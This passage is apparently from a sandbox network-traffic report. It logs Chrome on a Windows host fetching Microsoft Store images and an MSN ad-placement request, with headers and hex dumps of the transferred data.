Last-Modified: Tue, 06 Oct 2020 07:51:50 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDg2OUNDQUY1N0U0QUI"
MS-CV: zZpfTR4fs0yHFO1I.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:40:56 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:40:56 UTC 2340 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 03 00 00 00 4e a3 7e 47 00 00 
03 00 50 4c 54 45 00 1e 36 23 3d 52 b7 bf c6 2b b0 fe ab b5 bc 37 4f 61 bf c6 cc ff ff ff 2c b1 ff 1f 3a 4f 2b af fd 09 40 64 
00 1f 38 00 1f 37 00 21 3a 00 20 39 00 1e 37 00 22 3c 00 21 3b 01 23 3d 01 24 3f 20 8f d2 2b ae fc 0e 54 82 10 58 87 22 
97 dc 1a 77 b1 01 28 44 01 24 3e 02 28 45 00 21 3b 29 ab f7 21 92 d6 09 42 68 10 59 88 02 2a 47 00 20 3a 0c 4b 75 04 
2f 4e 14 65 98 20 91 d4 fe fe fe 29 ad fa 03 2b 49 01 27 43 21 93 d8 08 3e 62 2a af fc 0b 4a 73 1e 87 c7 26 a3 ed 0d 4d 
77 06 36 58 01 23 3e 1d 84 c3 01 25 40 0b 49 71 1e 89 c9 07 38 5b 21 94 d8 1b 80 be 1b 7f bc 08 3f 64 2a ae fb 28 a8 f3 
22 96 da 03 2d 4b 07 3a 5d 0f 56 83 02 25 40 24 9c e3 0d 
Data Ascii: PNGIHDR,,N~GPLTE6#=R+7Oa,:O+@d87!: 97"<!;#=$? +TX"w(D$>(E!;)!BhY*G :Ku/Ne )+I'C!>b*Js&Mw
6X#>%@Iq8[!?d*("-K:]V%@$

Session ID Source IP Source Port Destination IP
Destination
Port

Process

89 192.168.2.3 49882 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:57 UTC 2344 OUT GET /image/apps.8341.13510798886747090.a0953092-5fc3-46f0-aefa-796cb3a9b90b.fc0c6be7-c064-44dc-a7df-
81e7097e3c93?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:40:57 UTC 2344 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 134215
Content-Type: image/jpeg
Last-Modified: Mon, 09 Aug 2021 18:24:58 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk1QjYyRkVDQ0U2RjU"
MS-CV: SxgH/nslsk+u9Yr4.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:40:57 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:40:57 UTC 2345 IN Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 
79 00 01 00 04 00 00 00 64 00 00 ff e1 03 8e 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 
2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 
48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 
64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 
2e 30 2d 63 30 30 36 20 37 39 2e 64 61 62 61 63 62 62 2c 20 32 30 32 31 2f 30 34 2f 31 34 2d 30 30 3a 33 39 3a 34 34 
20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 
Data Ascii: ExifII*Duckydhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmp
meta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.dabacbb, 2021/04/14-00:39:44        "> <rdf:RDF 
x
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2022-05-13 14:40:57 UTC 2360 IN Data Raw: 9a dd ba 89 09 fa 89 ae 0a 5e e7 da b5 e7 13 b1 dd 61 24 03 6e 23 c8 7d e4 05 48 3e 59 0c aa 0f 53 8a f0 77 
89 2e 74 56 42 82 c1 4a f6 a2 88 41 8c 7b 96 43 c7 dd 1a 2a ef dc 8f 21 35 44 55 f4 f8 7c 74 5e a4 ed b7 98 6d dc cf 21 
30 eb 2c 09 3f 64 1a 1f 0e 80 78 75 c0 16 0e 5c bb 9e ef 6d 1e d3 66 91 ee 3f 2e 90 b2 aa d7 ba cb ad 07 da a8 66 6a 80 
4f a7 a6 46 86 98 e4 2b 0a e1 95 97 3e ce 34 82 88 8a 93 e1 8c e5 02 46 61 51 40 39 83 63 d5 5a 7e d3 95 1a f6 a6 bb 
b5 fe 5d 35 eb 27 b6 ba 64 36 3a d9 50 8f 43 10 0e a2 33 2a 7c ab d4 1f 0f 3a e3 ee d5 be 6c 50 5c 27 2a f9 58 27 b9 8d 
c8 b8 81 64 78 fb 4a ff 00 86 b3 a8 24 89 34 12 16 45 15 d5 5f b0 16 b8 19 7f 72 4e 56 c9 b8 8f c0 2f 2a f9 13 01 98 ca 8b 
90 f1 06 47 51 8f db 45 8c c6 9e a2 5e 52 e8 b8 92 5c 47 
Data Ascii: ^a$n#}H>YSw.tVBJA{C*!5DU|t^m!0,?dxu\mf?.fjOF+>4FaQ@9cZ~]5'd6:PC3*|:lP\'*X'dxJ$4E_rNV/*GQE^R\G

2022-05-13 14:40:57 UTC 2376 IN Data Raw: 46 62 8e a5 87 83 0a e4 71 73 72 6e 2f 93 f9 1d c4 38 7e 25 89 16 b6 06 2b 92 96 92 eb 2e b9 b8 91 20 60 b1 
a8 a7 50 da 41 a9 87 1a 0b 5d 61 2f de df c7 8e 49 2a d7 c7 44 64 77 0f b8 8a f5 d2 49 74 9b 86 ff 00 b3 db 5b ed 22 31 
6c f4 76 77 3e 9a 2e 6a 02 8a b3 7a e8 4d 28 3d 34 d5 9e 23 bb 59 d8 78 17 2c bf ba e4 c6 79 2f 60 2d 14 50 c0 06 b0 64 
3a 64 2c ec 42 46 3b 25 91 6b ac d2 4d 5a 0e 91 5a 7e 77 8f 9c 39 cb b8 f6 6f e3 6e 6d cb 66 ce 71 89 14 f1 b1 8e 41 c2 
38 e3 23 3f 1e 8a 05 44 63 42 95 63 88 dd 4a c2 24 32 da aa 25 ab 22 b4 53 62 fd c9 92 0f 0d 48 02 b5 02 f7 b5 d1 8f f4 
f6 d5 b9 cf 3e cd b8 6e 8f 75 31 42 93 24 2c b1 84 06 9a 90 e9 57 a5 72 d4 a5 8b 10 28 40 15 c3 ff 00 35 dc f7 5d cf 8c 
47 ba 27 1d 93 6b d9 ee 9b f0 66 97 b9 24 93 29 a8 56 8a 
Data Ascii: Fbqsrn/8~%+. `PA]a/I*DdwIt["1lvw>.jzM(=4#Yx,y/`-Pd:d,BF;%kMZZ~w9onmfqA8#?DcBcJ$2%"SbH>nu
1B$,Wr(@5]G'kf$)V

2022-05-13 14:40:57 UTC 2378 IN Data Raw: 34 db 72 ed af 92 f1 48 27 e1 5b 84 97 5b 65 c2 b6 bb 95 8d a3 46 21 99 4a 40 b2 28 93 b4 48 3a e5 21 4c c4 
7a 40 8c 51 ae ee 3e e0 1e 31 e5 ea 8a 0c c3 c3 4b 7b cf 1b 7c c1 c4 e1 4a b1 c7 21 e1 d7 97 75 b5 39 f5 9d 5b 1f 2d d8 
e5 bd 6f 76 44 6a c9 57 6c 1a 8a 1c 88 ea 5a e2 38 8c 04 f8 aa 12 29 07 1a da bd d2 96 c2 e5 b8 67 be fb 76 df c9 fd a3 
9d d6 33 3c d0 5b ad cd 92 9f 48 92 29 a2 58 e4 73 17 da 91 25 a4 c4 2b 3c 13 17 01 18 79 7d b6 df 40 ca 86 4d 45 cd 3c 
4a ea f0 d4 1a a0 03 d2 a3 a5 6b d2 b8 4d bc 95 9a e4 dc 9b c9 79 87 20 e6 95 b5 b5 59 96 4b 75 26 7e 59 0e 9a 94 18 
f4 2f d4 a8 c6 44 ba 92 b4 51 91 22 55 4d 9b 63 1c 87 94 10 b5 82 6c a7 91 58 c6 22 a3 53 a9 bc 13 8c 6d 9c 43 8c 58 71 
bd 92 79 ee 36 5b 3b 70 96 f2 4d 2f 7a 43 09 25 a2 06 52 2b 
Data Ascii: 4rH'[[eF!J@(H:!Lz@Q>1K{|J!u9[-ovDjWlZ8)gv3<[H)Xs%+<y}@ME<JkMy YKu&~Y/DQ"UMclX"SmCXqy6[;p
M/zC%R+

2022-05-13 14:40:57 UTC 2394 IN Data Raw: 59 e3 a1 0e 1a 53 3c 1c d6 e0 47 b2 6f 05 ac f6 ab 68 26 79 65 af a9 63 94 47 e9 04 31 21 a8 07 a9 4a c8 75 
08 43 02 f9 09 6c c2 30 0f 2c 6d f3 d9 79 6e 01 86 e3 bc 79 81 d3 43 e3 da 39 99 72 64 d6 b6 3c 33 c5 21 b8 b0 b3 3d 2d 
21 eb e4 d7 46 b4 e4 6c b2 da d1 f3 ec ac 11 4b 26 de fa c1 50 62 70 10 6d 11 3e c7 d8 be 43 ed ff 00 20 83 60 bb dc 77 
18 f6 db 70 d7 7b 9e e1 2e 84 f9 fb a6 20 4d 72 63 61 24 9d 99 65 fc 0b 4b 78 c2 9e ca 47 1a fa 8c 8e 16 26 e8 bb 2d 8c 
4f b6 06 4b 76 70 20 b6 8f b6 1a 66 54 00 77 48 14 04 22 eb 9e 46 1a 63 8e 8a 08 01 14 dc d4 18 6c 85 8a 0e 21 f1 6b 8e 
a4 e3 38 f5 1d 50 6b 6c a7 d6 0e 35 6e 44 0c 7f 6a 3d 5d 9e 67 08 f1 40 e3 4c 6a 7a eb 20 95 70 e4 0a ca d0 8e ef 4e 92 
e4 56 39 4b d0 ee f3 5f 16 b4 e3 d1 49 1d aa a9 0c f5 55 
Data Ascii: YS<Goh&yecG1!JuCl0,mynyC9rd<3!=-!FlK&Pbpm>C `wp{. Mrca$eKxG&-OKvp fTwH"Fcl!k8Pkl5nDj=]g@Ljz 
pNV9K_IU

2022-05-13 14:40:57 UTC 2406 IN Data Raw: d8 e3 b3 64 1f 70 35 29 0c da ad ed 87 b7 1c 6b 97 f3 c1 ee 0e f7 1c 4f 0f 1f b0 79 ac 9e 4d 45 25 b8 b9 55 45 
59 15 41 32 76 90 34 e2 22 0a 89 02 33 8c 86 0b 16 1b ed ca ed 5f 2d 6b 61 36 e1 25 b5 c0 63 14 6c 11 84 32 10 ae fa 
98 85 aa 10 f2 a2 57 d6 d1 e9 a1 c5 2b c2 3c 12 c8 d9 75 cf 1f 5f e6 1f 91 43 c7 1c 65 e4 05 8f 08 c3 94 64 8b c7 39 ec 
5e 68 e3 ee 36 cd 6a 5b 16 14 50 e1 d5 76 b9 06 39 7c 85 33 ab 0b 35 d1 c1 11 8c 90 45 d0 09 d7 59 38 ce eb b3 70 28 
e6 4e 18 2f ee ed b7 ad 8e cd bb 97 6b f8 51 ee 16 f7 96 77 73 08 5d 54 44 e5 49 8b b9 12 12 f0 90 03 b1 05 71 56 bd ca 
e7 b7 73 5a 47 bd 49 60 90 de 26 f3 b8 ec a7 70 d0 15 ee 6d 06 db 7f 71 06 a2 cc d7 32 47 6f 71 03 46 a6 60 88 ef 23 b4 
23 fc c3 88 a5 6d ad 15 3b 6b 93 17 52 86 a2 57 2e f9 37 77 
Data Ascii: dp5)kOyME%UEYA2v4"3_-ka6%cl2W+<u_Ced9^h6j[Pv9|35EY8p(N/kQws]TDIqVsZGI`&pmq2Goq
F`##m;kRW.7w

2022-05-13 14:40:57 UTC 2422 IN Data Raw: 4e eb c3 22 8a d3 6d da 2e 77 9b c9 86 53 45 1c 8d 6f 16 74 a4 ad 12 bb 34 87 a8 8d 42 d4 75 61 89 df 91 be 
45 da 60 98 25 04 bc 76 0f 36 1a ea ee d2 43 87 75 c8 b4 a0 c2 23 5d 52 0e 12 35 65 52 61 f3 24 93 21 8d 5e fb 04 45 69 
e5 b4 0a e6 b7 f9 17 77 a7 ad a7 67 37 fb 81 86 74 b1 82 d6 38 aa 7b 33 3d cb 6b 2d d1 a6 0a b1 31 03 a8 88 15 a9 eb 
96 1e 78 4f 29 f7 1e f2 d2 5d f7 99 6d ef 63 b6 ce 14 5b 23 c4 b0 b3 11 52 cc 23 d6 f2 85 a5 33 94 d4 e4 40 18 4f f9 ef 22 
67 d9 fd 99 6e 6f 6c 0d 13 62 bf db b5 e7 71 8c c5 77 fe b0 fd 10 41 92 a8 9a 21 13 73 da 9f ca ad 5f 5e 8a fb 55 8e df 61 
18 86 d9 43 31 ea 69 fb be 8f 86 17 ee bb 95 ee ec df 8a c5 61 1e 15 eb f4 e2 b3 ae a3 14 a2 8e 1c 44 77 72 41 37 c8 2e 
8a e5 46 aa ea f7 3d 5d ab b7 bd ca aa ba ae ae 5f 8f 
Data Ascii: N"m.wSEot4BuaE`%v6Cu#]R5eRa$!^Eiwg7t8{3=k-1xO)]mc[#R#3@O"gnolbqwA!s_^UaC1iaDwrA7.F=]_

2022-05-13 14:40:57 UTC 2438 IN Data Raw: c8 f1 bb 21 e4 78 d5 bd 04 e2 4c a8 c7 b2 19 4d 61 ac 52 ae 51 02 15 99 81 65 cb f5 10 4d 45 6c 33 3b 5d 15 
8a e5 74 5e c3 91 6d 9b d4 7f 98 ed a2 58 68 d9 ac a9 a1 d0 9e b5 5a 9f 43 7d e1 f7 49 27 a1 38 8a df ec d7 3b 6c ed 6f 
75 a6 58 d9 34 b1 53 51 22 0f b2 6b 95 25 8f a0 3d 58 0f 30 31 f2 3c db f4 bd ff 00 ea 11 c4 70 28 b2 27 3a 2e 51 42 8a 8f 
4a bb 38 c8 e6 15 e1 6a 2e c7 ba b9 25 91 1b a7 a4 aa b9 2e 6a 2e a8 37 35 6a 4f 1c b1 b5 8c a3 f0 d8 d5 7c 74 b0 e9 9f 
8d 01 d3 e4 c8 c3 0a e0 84 6e 16 e2 de 43 ff 00 3b 10 a2 b7 f3 a9 e9 5f a6 80 ff 00 75 d7 e9 04 9a c7 b3 b3 63 12 69 b2 
ba 79 48 75 ab 09 5b b9 8f dc cb 5c 72 6a 0c 73 61 1d 35 d8 52 47 18 58 ff 00 5f f3 c7 d5 3f 9b a1 5e f3 b3 aa dc cd b6 4a 
29 6b 75 19 50 4f 40 49 aa 9f f7 24 00 fc 05 71 95 
Data Ascii: !xLMaRQeMEl3;]t^mXhZC}I'8;louX4SQ"k%=X01<p(':.QBJ8j.%.j.75jO|tnC;_uciyHu[\rjsa5RGX_?^J)kuPO@I$q

2022-05-13 14:40:57 UTC 2446 IN Data Raw: 76 d6 c8 23 bf 0d ba f5 5d 76 bb 5a 5d 33 f8 2b 4c 3e 90 55 07 f5 d3 12 bb 66 5a 07 f0 21 3f ac 9f ea 38 85 f8 
2f 83 40 b1 be e5 3c aa 47 6e 38 32 5e 52 c7 a8 cf 2c 8c 57 fb 7a 0c 2b 11 a7 b9 b4 63 11 8a 8a 57 49 b2 9c 34 46 a6 88 
ae 62 2a aa 22 75 9c fb 70 93 e7 2d 6c d0 12 d1 5b b3 81 fd f9 1b 48 3f 50 5e bf 1c 58 ff 00 66 ec 82 d8 dd 6e e4 50 bb 
2c 48 7e 85 a9 a7 d2 58 7e cc 37 ce 33 80 3c 9e df 21 cb 1d 0f 20 b0 8f 8c 1a 63 dd 01 e3 00 52 8a e2 48 10 34 53 41 5e 
78 f3 22 92 75 90 a4 8d 23 48 2b 1c 36 6f 57 fc 59 d0 e2 f6 e1 90 97 91 a2 55 54 00 1c ff 00 10 d4 fa 6a 08 34 4a 16 65 
06 b9 01 d0 e0 fb bb 5b d7 6c b5 e3 36 8b 29 b9 bb 94 77 17 a1 8e 25 a1 2d 4a 11 59 09 0a ac 72 a1 27 c3 17 e6 35 84 
cf ce a6 4c a6 c7 32 30 94 53 ac 01 5e 59 73 eb ec cd 3b 
Data Ascii: v#]vZ]3+L>UfZ!?8/@<Gn82^R,Wz+cWI4Fb*"up-l[H?P^XfnP,H~X~73<! cRH4SA^x"u#H+6oWYUTj4Je[l6)w%-
JYr'5L20S^Ys;

2022-05-13 14:40:57 UTC 2462 IN Data Raw: 81 2b 0f 04 8e 86 9a d6 bb 97 ac 67 39 55 55 55 55 57 55 55 55 5f 5e bf 37 81 d0 0a 00 00 c7 57 84 c0 64 29 
4c 44 f3 ae 39 c4 79 43 0e c8 b8 f3 3e a1 83 93 61 b9 7d 5c 9a 5c 82 8e c8 0c 3c 59 b0 66 0d 46 e5 44 7a 2a 82 5c 67 2a 
16 39 d8 ad 2c 73 31 a4 1b 9a f6 a2 a4 83 8a f2 fe 41 c1 79 1d 9f 31 e2 57 72 d8 f2 4d ba 75 9a de 78 d8 ab 23 a1 a8 e9 
f6 91 87 a6 44 6a ac 88 59 1c 15 62 30 d1 bf 6d 7b 57 23 da 2e 36 4d ea 08 ee 36 cb 98 99 24 8d c5 43 29 1f b8 8c 88 61 
46 56 01 94 86 00 8f e7 d7 cb 58 78 f8 cf 95 b9 3f 8d c3 35 6c 41 c7 fc 89 9a e1 51 ec 1c a8 e7 ce 8d 8b 64 96 54 91 a5 
91 cd fa 5c 59 00 84 d7 3d 53 d3 7a af 5f ae 3e 01 cb 1f 9a f0 3d 93 99 4b 18 86 5d db 67 b3 bc 68 c7 44 6b 9b 78 e6 64 
1f 05 67 20 7c 00 c7 12 79 2e ce bb 07 24 dc 36 24 6e e2 
Data Ascii: +g9UUUUWUUU_^7Wd)LD9yC>a}\\<YfFDz*\g*9,s1Ay1WrMux#DjYb0m{W#.6M6$C)aFVXx?5lAQdT
\Y=Sz_>=K]ghDkxdg |y.$6$n

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:40:57 UTC 2470 IN Data Raw: 4e 1f 5d 87 f8 49 8c d8 8e 4c c6 0a b2 c7 9c b9 5b 15 b2 c6 71 0a 21 39 a2 46 cf c0 f8 d0 8f 7d ce 63 61 28 44 
52 8a 4d b3 a1 43 0a b7 55 8a 6d cd e8 7f c9 38 27 15 e3 fb b3 6e be f1 4d 1b c8 1c b4 7b 65 8c c9 71 73 21 fe 4b 9b b5 
1d ab 75 07 22 90 09 64 3d 3b a9 4c 2e b4 b8 bd bd 91 6d 38 c3 15 90 fd a9 e5 05 55 3e 29 16 65 d8 f5 05 fd 23 f9 0e 09 
0c 07 c2 9e 48 64 d4 ce ae 79 2a b7 37 e4 89 ea ae ca b9 1b 23 c3 a8 0b 90 cf 96 20 1d ac 58 36 36 a4 c8 a6 d6 c5 ae 
90 45 74 70 83 b2 26 91 a8 8a ce da 2b 7a 80 ef de ff 00 6c ea bf 92 6d db 57 c8 71 d8 4d 22 b3 5b 89 55 15 49 a1 2e 91 
88 55 cb 52 85 9c b3 1f 3a e7 87 e8 b8 56 e2 91 77 c4 dd fd c1 89 ac b3 28 d4 c7 a7 a7 ed 11 42 72 cc 0f 0a 53 00 f7 97 
78 0c 7c 4c 80 e3 ec d7 c8 3f 27 79 4f 3d c8 14 67 a9 e2 
Data Ascii: N]IL[q!9F}ca(DRMCUm8'nM{eqs!Ku"d=;L.m8U>)e#Hdy*7# X66Etp&+zlmWqM"[UI.UR:Vw(BrSx|L?'yO=g

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

9 192.168.2.3 49711 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:39:58 UTC 83 OUT GET /image/apps.40093.9007199266285780.3d16d9fa-052b-42c5-ba7d-a5688e3dda24.e6964d6a-18a4-4746-9238-
9f0acc233a65?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:39:58 UTC 95 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 7669
Content-Type: image/png
Last-Modified: Thu, 24 May 2018 00:36:00 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDVDMTBFNTJCMkI1MzM"
MS-CV: zKJ18ukIb0aTWgjG.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:39:58 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:39:58 UTC 96 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 1d af 49 44 41 54 78 01 ed 9d 09 74 5d c5 79 c7 3f e9 69 df 17 5b 96 65 c9 bb 83 
01 03 61 5f 62 02 04 43 ba a4 a5 24 69 9a e6 94 93 90 a6 69 d2 94 b4 64 21 4b 4f 9b e4 34 74 0b 25 6c a7 14 92 d0 24 
27 10 92 1c 5a 48 a0 98 10 16 1b c2 c1 36 36 c6 36 d8 18 cb 96 6c c9 5a 2c 6b 7f d2 d3 f2 f4 3a 73 65 2d f7 e9 5d 57 cb 
7d d2 cc bb bf 39 47 bc 3b 77 ee 9d f9 e6 f7 0d 7f cf 9d 3b 77 26 2d 54 79 69 4c 08 10 80 00 04 2c 20 90 6e 81 8d 98 08 
01 08 40 c0 21 80 60 d1 10 20 00 01 6b 08 20 58 d6 b8 0a 43 21 00 01 04 8b 36 00 01 08 58 43 00 c1 b2 c6 55 18 0a 01 
08 20 58 b4 01 08 40 c0 1a 02 08 96 35 ae c2 50 08 40 00 c1 a2 0d 
Data Ascii: PNGIHDR,,y}usRGBIDATxt]y?i[ea_bC$iid!KO4t%l$'ZH666lZ,k:se-]W}9G;w;w&-TyiL, n@!` k XC!6XCU 
X@5P@

Session ID Source IP Source Port Destination IP
Destination
Port

Process

90 192.168.2.3 49894 20.82.210.154 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:41:04 UTC 2476 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20220513T234103Z&lc=en-US&pl=en-US&i
dtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=501728bd423d4dfcb22c44ccca7ac93e&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1513821&metered=false&nettype=ethernet&npid=sc-
280815&oemName=qiylvt%2C%20Inc.&oemid=qiylvt%2C%20Inc.&ossku=Professional&smBiosDm=qiylvt7%2C1&tl=2&
tsu=1513821&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32319&sc=6
X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAWTgoqHjO5aJbbzxFht334Zi+ziJh9kN
kHxTMAW6wtF8aT8VakbVgtRR/7W+laAsHqlMKDwm+p01IX+B/OjNb0juLQJvw3HBJDnAHKRkOzWE9DasBXVemvUooz
ZcpwSM9/V3K+skDtv6fcTB23W5eFQ6vRki6EXxDZrj4geDDVMKQqesrDw/m6p+Rmt/p7ozRCt90JsBPSwVYD9zAlHQ
Td7hbi3G07Qm04GvvISHqHcJ2uLSsxENNgLhhGbt2H99JOPtu8RT/qNDqhtnk/ZTocudbe5SKXbrwv/aVQZmnmAQ+K
P4CzFFc5paxkNeOlkAFvCpxCmKfiUhYvQmlf9xFaQDZgAACPo6XBZf8pxTqAFib3/swDuq7KiKPCPTeUiX7wfesfMj
GbdxkjgDco+jHKnPQJXfhq43l3e222tPt31AWjz6zrKhmLI7kNrjydSqhoPDI3lkbHbDQmJ9ZBgIrhWJHIZxEgr7e/
7JMBv0pWtbfSUJs5lUdkk4dRDEepE6NaYpS+/jf6a/qG4p7qH2S0SCKEHzuKm/aIukHQySnMqV/3TT04n2iLi1Lsgo
gOdkx+2vQzUKaAbgES/fMEivaZtlL5auI7Tv/WJpGwyZAP28cVkW8Vb8CBvPL2VvkJiOm+zSGuu0uLEinpghsWiCMK
mEZbnSIKvyjhHfnaTL5/SWfjy3Wg29TTTKK84wBYYyk4wsAeVIOp9Q/b2Vh9M6PDmhCcyWRvMgC5Z8y7S3QVNJxynj
2d/47RB+uEyui9wKpdIB6dqWe5pJ890UJDV4Fz1gvxcu48mEVJNyJWuLfdRijMavI3XRD0I6vUj0zDgC2U5o2IUDzu
J5cpRk+MjDzh80ivFbCw0J+BxBi7sBja53g+il1g6/ypCnd/N2wG6VVV9iXH/QyZYyX16m/zmA1CvvAGudVhmX1QE=&p=
Cache-Control: no-cache
MS-CV: 51NbriJLSEy2kRtB.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

2022-05-13 14:41:04 UTC 2484 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 3045
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T700333390-C128000000001627409+B+P20+S1"},{"OPTOUTST
ATE":"256"}]
X-ARC-SIG: WxpeTHrUTq7S29/Hv7MRZyDByjZBmnGJMYrZCm0jdYZTxqaXh/dfWA4sP/bnE7/ahQAFSXWVcwjMWw6
+MoiffkfCNMz6LpA6q+ILh+LItGdVE5iKlc6M9vcrm1pqFegPaAkv4vlRoyWVQPPE/6mOSmpyV0kvPYSNpRJy6owFH
NxwkH+LhjaGGleLxpRnUojyEtNvxA62maO8oY73tVswbGPmG+Xg3wGKeMX9VeaXi65E4G2lctDH4Us0kdzN3J2wE0y
C/Fm7wdZtiN261xD9axoKgJZnjlDUY+t5Beiu+8qFNjVyuoIb4tBezvXEzp+DSqH5BEEhlDgSfV8+IIi8kA==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Fri, 13 May 2022 14:41:03 GMT
Connection: close

2022-05-13 14:41:04 UTC 2485 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 
22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 
72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 6
4 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 
5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 
66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 
5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedCont
ent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

91 192.168.2.3 49895 20.82.210.154 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
